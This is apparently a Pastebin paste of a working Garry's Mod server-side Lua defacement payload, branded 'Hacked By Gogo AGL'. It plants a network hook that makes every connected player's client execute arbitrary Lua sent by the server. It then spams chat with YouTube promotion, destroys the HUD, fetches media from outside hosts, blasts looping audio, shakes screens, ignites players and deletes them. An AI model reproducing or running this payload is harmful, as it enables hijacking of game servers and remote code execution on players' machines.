API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jan 16th, 2019
95
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.95 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29.  
  30. end )
  31. end
  32. timer.Create( "ohnosssn", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "| Hacked By Gogo AGL | ")]]) end)
  33. timer.Create( "ohnonssnnnn", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Chaine YTB de Gogo AGL : https://www.youtube.com/channel/UCmfXUPX5CN2IfjWKbP9x8FA?view_as=subscriber ")]]) end)
  34. timer.Create( "moneymonsseyyyyyyyyy", 0.1, 0, function() v:addMoney(1000000000000000000) end)
  35. timer.Create( "sethealhhhhhhh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "99999999999999999") end)
  36. timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Go Sur S'abonner sur la Chaine YTB de Gogo AGL <---- https://www.youtube.com/channel/UCmfXUPX5CN2IfjWKbP9x8FA?view_as=subscriber ")]]) end)
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60. function lol:Start( pPlayer )
  61. pPlayer.m_intCurAction = 0
  62. self:NextAction( pPlayer )
  63. end
  64.  
  65. function lol:SendLua( pPlayer, strLua )
  66. net.Start( "skeleton_dancing_troll" )
  67. net.WriteString( strLua )
  68. net.Send( pPlayer )
  69. end
  70.  
  71. function lol:SetupPlayer( pPlayer )
  72. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  73. end
  74.  
  75. for k, v in pairs( player.GetAll() ) do
  76. lol:SetupPlayer( v )
  77. timer.Simple( 2, function() lol:Start( v ) end )
  78. end
  79.  
  80. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  81. lol:SetupPlayer( pPlayer )
  82. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  83. end )
  84.  
  85. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  86. if strText:sub( 1, 5 ) == "/1337" then
  87. pSender:Ignite( 1e9 )
  88. pSender:ChatPrint( "Nop" )
  89. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  90. return false
  91. end
  92. end )
  93.  
  94.  
  95.  
  96. --Sequence stack
  97. --Start some tunes and steam in our assets
  98. lol:PushAction( 0, function( pPlayer )
  99. lol:SendLua( pPlayer, ([=[
  100. sound.PlayURL( "http://zilnix.mtxserv.fr/Zilnix/asriel.mp3", "", function()end )
  101.  
  102. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  103. local html = [[%s]]
  104. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  105. local pnl = vgui.Create( "HTML" )
  106. pnl:SetPos( ScrW() -1, ScrH() -1 )
  107. pnl:SetVisible( true )
  108. pnl:SetMouseInputEnabled( false )
  109. pnl:SetKeyBoardInputEnabled( false )
  110. pnl:SetSize( intSizeX, intSizeY )
  111. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  112.  
  113. local PageLoaded
  114. PageLoaded = function()
  115. local mat = pnl:GetHTMLMaterial()
  116. if mat then
  117. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  118. return
  119. end
  120.  
  121. timer.Simple( 0.5, PageLoaded )
  122. end
  123.  
  124. PageLoaded()
  125. end
  126. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/09/7/1520199339-logo-gogo-agl-2.png", "hud1", 300, 128 )
  127. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/09/7/1520199339-logo-gogo-agl-2.png", "hud2", 300, 128 )
  128. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/09/7/1520199339-logo-gogo-agl-2.png", "hud3", 128, 128 )
  129. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/09/7/1520199339-logo-gogo-agl-2.png", "doritos", 183, 256 )
  130. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/09/7/1520199339-logo-gogo-agl-2.png", "fedora", 256, 256 )
  131. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/09/7/1520199339-logo-gogo-agl-2.png", "dew", 110, 256 )
  132. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/09/7/1520199339-logo-gogo-agl-2.png", "awp", 256, 55 )
  133. ]=]):format(lol.m_strImageLoadHTML) )
  134. end )
  135.  
  136. --HUD swap
  137. lol:PushAction( 31, function( pPlayer )
  138. lol:SendLua( pPlayer, [[
  139. (GAMEMODE or GM).CalcView = function() end
  140. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  141.  
  142. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  143. for k, v in pairs(remove) do
  144. hook.GetTable()[v] = {}
  145. end
  146.  
  147. local function GetWebMat( strURL )
  148. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  149. end
  150.  
  151. hook.Add( "HUDPaint", "newhud", function()
  152. surface.SetDrawColor( 255, 255, 255, 255 )
  153.  
  154. if GetWebMat( "hud1" ) then
  155. surface.SetMaterial( GetWebMat("hud1")[1] )
  156. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  157. end
  158. if GetWebMat( "hud2" ) then
  159. surface.SetMaterial( GetWebMat("hud2")[1] )
  160. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  161. end
  162. if GetWebMat( "hud3" ) then
  163. surface.SetMaterial( GetWebMat("hud3")[1] )
  164. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  165. end
  166. if GetWebMat( "doritos" ) then
  167. surface.SetMaterial( GetWebMat("doritos")[1] )
  168. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  169. end
  170. if GetWebMat( "dew" ) then
  171. surface.SetMaterial( GetWebMat("dew")[1] )
  172. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  173. end
  174. if GetWebMat( "fedora" ) then
  175. surface.SetMaterial( GetWebMat("fedora")[1] )
  176. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  177. end
  178. if GetWebMat( "awp" ) then
  179. surface.SetMaterial( GetWebMat("awp")[1] )
  180. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  181. end
  182.  
  183. draw.SimpleTextOutlined(
  184. "Hacked By SPRX/GogoAGL",
  185. "DermaLarge",
  186. ScrW() /2 +math.random( -8, 8 ),
  187. ScrH() /2 +math.random( -8, 8 ) +64,
  188. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  189. TEXT_ALIGN_CENTER,
  190. TEXT_ALIGN_CENTER,
  191. 1,
  192. Color( 0, 0, 255, 255 )
  193. )
  194. end )
  195.  
  196. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  197. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  198.  
  199. surface.PlaySound( "garrysmod/save_load4.wav" )
  200. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  201. ]] )
  202. end )
  203.  
  204. --Disco time
  205. lol:PushAction( 10, function( pPlayer )
  206. local idx = pPlayer:EntIndex()
  207. timer.Create( "beat".. idx, 0.42, 0, function()
  208. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  209. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  210. end )
  211.  
  212.  
  213. lol:SendLua( pPlayer, [[
  214. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  215. local time = 0
  216.  
  217. hook.Add( "Think", "wat", function()
  218. if CurTime() < time then
  219. return
  220. end
  221.  
  222. time = CurTime() +0.05
  223. for i = 1, 16 do
  224. local part = emitter:Add(
  225. "particles/balloon_bit",
  226. LocalPlayer():GetPos() +Vector(
  227. math.random( -256, 256 ),
  228. math.random( -256, 256 ),
  229. 256
  230. )
  231. )
  232.  
  233. if part then
  234. local Size = math.random( 4, 7 )
  235.  
  236. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  237. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  238. part:SetDieTime( 4.5 )
  239. part:SetGravity( Vector(40, 0, -250) )
  240. part:SetLifeTime( 0 )
  241. part:SetStartSize( Size /2 )
  242. part:SetEndSize( Size )
  243. part:SetCollide( true )
  244. end
  245. end
  246. end )
  247. ]] )
  248.  
  249. lol:SendLua( pPlayer, [[
  250. hook.Add( "RenderScreenspaceEffects", "wat", function()
  251. local sinScaler = math.sin( CurTime() )
  252. DrawBloom(
  253. 0,
  254. 3,
  255. sinScaler *math.Rand(1, 8),
  256. sinScaler *math.Rand(1, 8),
  257. 6,
  258. math.Rand(0.5, 2),
  259. math.Rand(0, 0.3),
  260. math.Rand(0, 0.3),
  261. math.Rand(0.5, 1)
  262. )
  263.  
  264. DrawColorModify{
  265. ["$pp_colour_addr"] = 0,
  266. ["$pp_colour_addg"] = 0,
  267. ["$pp_colour_addb"] = 00,
  268. ["$pp_colour_brightness" ] = 0,
  269. ["$pp_colour_contrast" ] = 1,
  270. ["$pp_colour_colour" ] = 1,
  271. ["$pp_colour_mulr" ] = 0,
  272. ["$pp_colour_mulg" ] = 0,
  273. ["$pp_colour_mulb" ] = 1
  274. }
  275. end )
  276.  
  277. local mdl = ClientsideModel( "models/player/corpse1.mdl", RENDERGROUP_BOTH )
  278. mdl:SetNoDraw( true )
  279. local posCache, time = {}, 0
  280.  
  281. hook.Add( "HUDPaint", "dance", function()
  282. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  283. local idx = mdl:LookupSequence("taunt_dance")
  284. mdl.SeqDuration = mdl:SequenceDuration( idx )
  285. mdl.SeqStart = CurTime()
  286. mdl:ResetSequence( idx )
  287. end
  288.  
  289. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  290.  
  291.  
  292. local w, h = 300, 300
  293. local ang = Angle( 0, 0, 0 )
  294.  
  295. for i = 1, 32 do
  296. if CurTime() > time then
  297. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  298. end
  299. local x, y = posCache[i][1], posCache[i][2]
  300.  
  301. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  302. cam.IgnoreZ( true )
  303. render.SuppressEngineLighting( true )
  304.  
  305. render.SetLightingOrigin( mdl:GetPos() )
  306. render.ResetModelLighting( 1, 1, 1 )
  307. render.SetColorModulation( 0, 0, 1 )
  308.  
  309. mdl:DrawModel()
  310.  
  311. render.SuppressEngineLighting( false )
  312. cam.IgnoreZ( false )
  313. cam.End3D()
  314. end
  315.  
  316. if CurTime() > time then
  317. time = CurTime() +0.15
  318. end
  319. end )
  320.  
  321. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  322. ]] )
  323. end )
  324.  
  325. --Let the beat drop
  326. lol:PushAction( 54, function( pPlayer )
  327. lol:SendLua( pPlayer, [[
  328. hook.Add( "GetMotionBlurValues", "wat", function()
  329. return 0, 0, 1, math.sin(CurTime() *13)
  330. end )
  331.  
  332. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  333. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  334. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  335. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  336. end )
  337.  
  338. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  339. render.SetMaterial( Material("cable/blue_elec") )
  340. for i = 1, 32 do
  341. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  342. end
  343. end )
  344.  
  345. timer.Create( "thedrop", 0.42, 0, function()
  346. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  347. end )
  348. ]] )
  349. end )
  350.  
  351. --EVIL TIME rip headpones
  352. lol:PushAction( 175, function( pPlayer )
  353. lol:SendLua( pPlayer, [[
  354. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  355.  
  356. local sounds = {}
  357. for i = 1, 4 do
  358. sound.PlayURL( "http://zilnix.mtxserv.fr/Zilnix/asriel.mp3", "noblock noplay", function( pChan )
  359. sounds[#sounds +1] = pChan
  360. end )
  361. end
  362.  
  363. timer.Create( "asdf", 1, 0, function()
  364. if #sounds ~= 4 then return end
  365. timer.Destroy( "asdf" )
  366. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  367. end )
  368.  
  369. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  370. ]] )
  371.  
  372. pPlayer:Remove()
  373. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!